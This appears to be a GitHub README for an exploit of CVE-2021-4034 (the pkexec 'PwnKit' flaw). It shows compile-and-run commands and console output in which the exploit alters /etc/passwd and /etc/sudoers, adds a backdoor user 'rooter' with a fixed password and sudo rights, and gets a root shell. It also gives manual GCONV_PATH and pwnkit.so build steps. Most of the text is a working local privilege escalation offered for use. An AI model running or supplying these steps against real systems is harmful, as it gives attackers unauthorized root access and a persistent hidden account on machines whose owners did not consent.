rvn0xsy/cve-2021-4034Exploit for CVE-2021-4034 (pkexec) that adds a root user with sudo privileges. Includes manual exploitation steps and compiles pwnkit.so for local privilege escalation.
CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation
Enhanced based on CVE-2021-4034, executing the Exploit will add username rooter, password Hello@World by default, and the rooter user will have sudo privileges.
Refer to CVE-2021-4034, executing Exploit will add username rooter, password Hello@World by default, and The rooter user will have sudo privileges.
test@some:~$ gcc cve-2021-4034.c -o ./exp
test@some:~$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!
[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!
[+]Add Root User Success...
test@some:~$ su rooter
Password:
root@some:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@some:/home/test#
If the target environment does not have gcc, you can manually execute commands and compile pwnkit.so locally.
$ mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
$ mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
$ mkdir pwnkit
$ gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
$ gcc pkexec.c -o pkexec
$ ./pkexec
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!
[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!
[+]Add Root User Success...